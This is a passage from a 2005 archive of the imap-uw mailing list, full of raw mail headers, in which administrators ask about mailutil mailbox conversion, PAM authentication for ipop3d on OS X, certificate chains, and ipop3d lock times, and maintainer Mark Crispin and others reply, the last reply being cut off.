dtmail 1.3.0 @(#)CDE Version 1.4.2 SunOS 5.8 i86pc i386 Message-Id: <20051017122852.2B0961009D8@scyros.mcs.le.ac.uk> X-UoL-Id: 97cb8d18f788e212f3716d490e7785cb@1ERU6l-00043R-3D@artemis.le.ac.uk X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] mh mailboxes X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: "J. A. Landamore" List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I need to convert a lot of mh format mailboxes to mbx. The FAQ uses the old mbxcvt which has been replaced by mailutil. Before I rebuild imap with the mh drivers included can I just check that: mailutil move \#driver.mh/path/to/folders \#driver.mbx/path/to/new/folder will work Thanks John Landamore School of Mathematics & Computer Science University of Leicester University Road, LEICESTER, LE1 7RH J.Landamore@mcs.le.ac.uk Phone: +44 (0)116 2523410 Fax: +44 (0)116 2523604 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Oct 17 07:51:11 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 17 Oct 2005 07:51:11 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HEpBTm018903 for ; Mon, 17 Oct 2005 07:51:11 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HEpAQ8023532 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 17 Oct 2005 07:51:10 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HEpAQJ012535; Mon, 17 Oct 2005 07:51:10 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HEp9Ph019749; Mon, 17 Oct 2005 07:51:09 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HEp8G7019732 for ; Mon, 17 Oct 2005 07:51:08 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HEp7RX025872 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 17 Oct 2005 07:51:07 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HEp7GQ013515 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Oct 2005 07:51:07 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HEp5hp013577 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 17 Oct 2005 07:51:06 -0700 Date: Mon, 17 Oct 2005 07:51:05 -0700 (PDT) From: Mark Crispin To: "J. A. Landamore" Subject: Re: [Imap-uw] mh mailboxes In-Reply-To: <20051017122852.2B0961009D8@scyros.mcs.le.ac.uk> Message-ID: References: <20051017122852.2B0961009D8@scyros.mcs.le.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 17 Oct 2005, J. A. Landamore wrote: > I need to convert a lot of mh format mailboxes to mbx. The FAQ uses the > old mbxcvt which has been replaced by mailutil. Before I rebuild imap with > the mh drivers included can I just check that: > mailutil move \#driver.mh/path/to/folders \#driver.mbx/path/to/new/folder > will work Like mbxcvt, "mailutil move" only operates on single mailboxes. To convert a hierarchy, you need "mailutil transfer". Also, the #driver syntax is only for creating mailboxes, but you do need #mh for mh files. Finally, note that the destination in "mailutil transfer" is a prefix applied to the source name, e.g., if you have mailutil transfer foo #driver.mbx/bar/ the destination is written in "bar/foo". Hence, you need something like: mailutil transfer #mh/path/to/folders #driver.mbx/path/to/new/ Or if your script requires it: mailutil transfer \#mh/path/to/folders \#driver.mbx/path/to/new Most people use "mailutil copy" and have their script do the wildcarding. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Oct 17 11:51:35 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 17 Oct 2005 11:51:35 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIpZtR002115 for ; Mon, 17 Oct 2005 11:51:35 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIpWF3009030 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 17 Oct 2005 11:51:32 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIpWJT022265; Mon, 17 Oct 2005 11:51:32 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIpWSv012828; Mon, 17 Oct 2005 11:51:32 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIpU5u012819 for ; Mon, 17 Oct 2005 11:51:30 -0700 Received: from ns2.chickenwranglers.com ([12.22.28.173]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIpSXr020228 for ; Mon, 17 Oct 2005 11:51:28 -0700 Received: from [12.172.185.82] (Not Verified[12.172.185.82]) by ns2.chickenwranglers.com with NetIQ MailMarshal (v5.5.6.7) id ; Mon, 17 Oct 2005 11:51:21 -0700 Message-ID: <4353F2A9.5040908@cybertechnow.com> Date: Mon, 17 Oct 2005 11:51:21 -0700 From: Jeffrey Shawn Klotz User-Agent: Mozilla Thunderbird 0.9 (Macintosh/20041103) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Authentication issue with OSX 10.4.2 X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I'm trying to complies imap-2004g(2004.89) on OSX 10.4.2 using "make oxp SSLTYPE=unix" Compiles OK and ipop3d executes but will not authenticate. Valid OSX users get "ERR Bad login" I would also like to be able to compile using a passwd file for different system with same os version so email users would not need system accounts. Can anyone point me in the right direction and let me know what I'm doing wrong? Thanks for your help. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Oct 17 11:57:49 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 17 Oct 2005 11:57:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIvn4E002386 for ; Mon, 17 Oct 2005 11:57:49 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIvmhA022713 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 17 Oct 2005 11:57:48 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIvm1r023547; Mon, 17 Oct 2005 11:57:48 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIvmfI014847; Mon, 17 Oct 2005 11:57:48 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIvk35014836 for ; Mon, 17 Oct 2005 11:57:46 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIvkSg002142 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 17 Oct 2005 11:57:46 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIvj22021798 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Oct 2005 11:57:45 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9HIvhcJ004831 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 17 Oct 2005 11:57:45 -0700 Date: Mon, 17 Oct 2005 11:57:44 -0700 (Pacific Daylight Time) From: Mark Crispin To: Jeffrey Shawn Klotz Subject: Re: [Imap-uw] Authentication issue with OSX 10.4.2 In-Reply-To: <4353F2A9.5040908@cybertechnow.com> Message-ID: References: <4353F2A9.5040908@cybertechnow.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 17 Oct 2005, Jeffrey Shawn Klotz wrote: > I'm trying to complies imap-2004g(2004.89) on OSX 10.4.2 using "make oxp > SSLTYPE=unix" > Compiles OK and ipop3d executes but will not authenticate. Valid OSX users > get "ERR Bad login" Have you set up a PAM authentication module for IMAP on /etc/pam.d ? The OXP build (as opposed to OSX) uses PAM, and thus you have to create /etc/pam.d/imap and /etc/pam.d/pop files. > I would also like to be able to compile using a passwd file for different > system with same os version so email users would not need system accounts. The security model in UW imapd requires that each IMAP user have a unique UNIX UID. It is possible to do a "virtual host" such as you suggest, but you will have to write code to do it (and enforce the security of your virutal host). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 19 06:37:57 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Oct 2005 06:37:57 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9JDbvT9031578 for ; Wed, 19 Oct 2005 06:37:57 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9JDbu90021831 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 19 Oct 2005 06:37:56 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9JDbuTj014880; Wed, 19 Oct 2005 06:37:56 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9JDbuc4017260; Wed, 19 Oct 2005 06:37:56 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9JDbtIu017252 for ; Wed, 19 Oct 2005 06:37:55 -0700 Received: from mailhub2.qub.ac.uk (jeremiah.qub.ac.uk [143.117.14.19]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9JDbsRo031453 for ; Wed, 19 Oct 2005 06:37:54 -0700 Message-Id: <200510191337.j9JDbsRo031453@mxe7.u.washington.edu> Received: from slime.qub.ac.uk ([143.117.143.104] ident=1001) by mailhub2.qub.ac.uk with esmtp (Exim 4.51) id 1ESE8f-0002ZB-US for imap-uw@u.washington.edu; Wed, 19 Oct 2005 13:37:54 +0000 Received: from a9203.cc.qub.ac.uk ([143.117.9.203] helo=clive) by slime.qub.ac.uk with esmtps (TLSv1:RC4-MD5:128) (Exim 4.54) id 1ESE8f-0000Fy-Nq for imap-uw@u.washington.edu; Wed, 19 Oct 2005 13:37:53 +0000 From: "Clive McDowell" To: Date: Wed, 19 Oct 2005 14:38:30 +0100 Organization: The Queen's University of Belfast MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 Thread-Index: AcXUsmQxTHIkMwAUTkaInLkVou8+lg== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] certificate chains X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Folks, I'm attempting to replace an expired certificate originally supplied by Thawte with a chained InstantSSL certificate. I have made these work in other circumstances by simply concatenating the certs together along with the public key. This doesn't appear to function with uw imap (IMAP4rev1 2004.350). Is there a way of making this work or do I have to revert to using single certs? Thanks, Clive McDowell Information Services The Queen's University of Belfast _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 19 08:21:54 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Oct 2005 08:21:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9JFLsNM003793 for ; Wed, 19 Oct 2005 08:21:54 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9JFLrqE028021 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 19 Oct 2005 08:21:53 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9JFLrhL023516; Wed, 19 Oct 2005 08:21:53 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9JFLrDx001832; Wed, 19 Oct 2005 08:21:53 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9JFLqHu001815 for ; Wed, 19 Oct 2005 08:21:52 -0700 Received: from basie.internet2.edu (basie.internet2.edu [207.75.164.22]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9JFLoFA014223 for ; Wed, 19 Oct 2005 08:21:50 -0700 Received: from localhost (unknown [127.0.0.1]) by basie.internet2.edu (Postfix) with ESMTP id 300C81CD503; Wed, 19 Oct 2005 11:21:50 -0400 (EDT) Received: from basie.internet2.edu ([127.0.0.1]) by localhost (basie.internet2.edu [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 29565-10; Wed, 19 Oct 2005 11:21:50 -0400 (EDT) Received: by basie.internet2.edu (Postfix, from userid 1122) id 121A51CD64C; Wed, 19 Oct 2005 11:21:50 -0400 (EDT) Date: Wed, 19 Oct 2005 11:21:50 -0400 From: Dan Pritts To: Clive McDowell Subject: Re: [Imap-uw] certificate chains Message-ID: <20051019152150.GB28099@internet2.edu> References: <200510191337.j9JDbsRo031453@mxe7.u.washington.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200510191337.j9JDbsRo031453@mxe7.u.washington.edu> User-Agent: Mutt/1.4.2.1i X-Virus-Scanned: by mail.internet2.edu virus scanner X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __STOCK_PHRASE_7 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I just had this problem. Testing with openssl s_client suggested that imapd did the right thing (i think it was dependent on the order of the certs in the .pem file), but Eudora (important client here) didn't properly interpret things. I ended up buying a ssl123 cert from thawte, which is a newish "domain assurance only" type product from them. US$169 for two years if you buy via this url: http://www.thawte.com/ssl123/google.html On Wed, Oct 19, 2005 at 02:38:30PM +0100, Clive McDowell wrote: > Folks, > > I'm attempting to replace an expired certificate originally supplied by Thawte with a chained InstantSSL certificate. I have > made these work in other circumstances by simply concatenating the certs together along with the public key. This doesn't appear > to function with uw imap (IMAP4rev1 2004.350). Is there a way of making this work or do I have to revert to using single certs? > > Thanks, > > Clive McDowell > > Information Services > The Queen's University of Belfast > > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw danno -- dan pritts - systems administrator - internet2 734/352-4953 office 734/834-7224 mobile _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 20 17:09:32 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 20 Oct 2005 17:09:32 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L09VMj006807 for ; Thu, 20 Oct 2005 17:09:31 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L09UQE029317 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 20 Oct 2005 17:09:31 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L09Uga031938; Thu, 20 Oct 2005 17:09:30 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L09UDK001075; Thu, 20 Oct 2005 17:09:30 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L09TWr001067 for ; Thu, 20 Oct 2005 17:09:29 -0700 Received: from smtp2.gigared.com.ar (smtp2.gigared.com.ar [200.68.216.2]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L09SfH013176 for ; Thu, 20 Oct 2005 17:09:29 -0700 Received: from gigaredhdq33 (unknown [10.8.2.99]) by smtp2.gigared.com.ar (Postfix) with SMTP id 692C142271 for ; Thu, 20 Oct 2005 21:05:08 -0300 (GMT) Message-ID: <004501c5d5d4$08688de0$6302080a@gigaredhdq33> From: "Kosty" To: Date: Thu, 20 Oct 2005 21:11:50 -0300 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1506 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1506 X-Gigared-Information: Please contact the ISP for more information X-Gigared: Found to be clean X-From: knayda@gigared.com.ar X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='HTML_50_70 0.1, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __TAG_EXISTS_HTML 0' Subject: [Imap-uw] ipop3d lock time X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1368169868==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multi-part message in MIME format. --===============1368169868== Content-Type: multipart/alternative; boundary="----=_NextPart_000_0042_01C5D5BA.E30F6F00" This is a multi-part message in MIME format. ------=_NextPart_000_0042_01C5D5BA.E30F6F00 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi. Could you tell me, please, what is the default lock time period of = ipop3d process for any mailbox wich was closed without logout? And another question is, if there is a posibility to change that time = after or during the instalation of imap packet? Thanks. Constantino ------=_NextPart_000_0042_01C5D5BA.E30F6F00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi.
    Could you tell me, please, what is = the default=20 lock time period of ipop3d process = for any mailbox wich was=20 closed without logout?
    And another question is, if there is a = posibility=20 to change that time after or during the instalation of imap = packet?
     
    Thanks.
    Constantino
    ------=_NextPart_000_0042_01C5D5BA.E30F6F00-- --===============1368169868== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1368169868==-- From pinedev@shivax2.cac.washington.edu Thu Oct 20 17:15:05 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 20 Oct 2005 17:15:05 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0F52V007013 for ; Thu, 20 Oct 2005 17:15:05 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0F4K8029611 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 20 Oct 2005 17:15:04 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0F40c032235; Thu, 20 Oct 2005 17:15:04 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0F4DS001779; Thu, 20 Oct 2005 17:15:04 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0F3xd001767 for ; Thu, 20 Oct 2005 17:15:03 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0F2IW001415 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 20 Oct 2005 17:15:02 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0F1LW001342 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 20 Oct 2005 17:15:01 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0F1ha000364 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 20 Oct 2005 17:15:01 -0700 Date: Thu, 20 Oct 2005 17:15:02 -0700 (Pacific Daylight Time) From: Mark Crispin To: Kosty Subject: Re: [Imap-uw] ipop3d lock time In-Reply-To: <004501c5d5d4$08688de0$6302080a@gigaredhdq33> Message-ID: References: <004501c5d5d4$08688de0$6302080a@gigaredhdq33> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 20 Oct 2005, Kosty wrote: > Could you tell me, please, what is the default lock time period of > ipop3d process 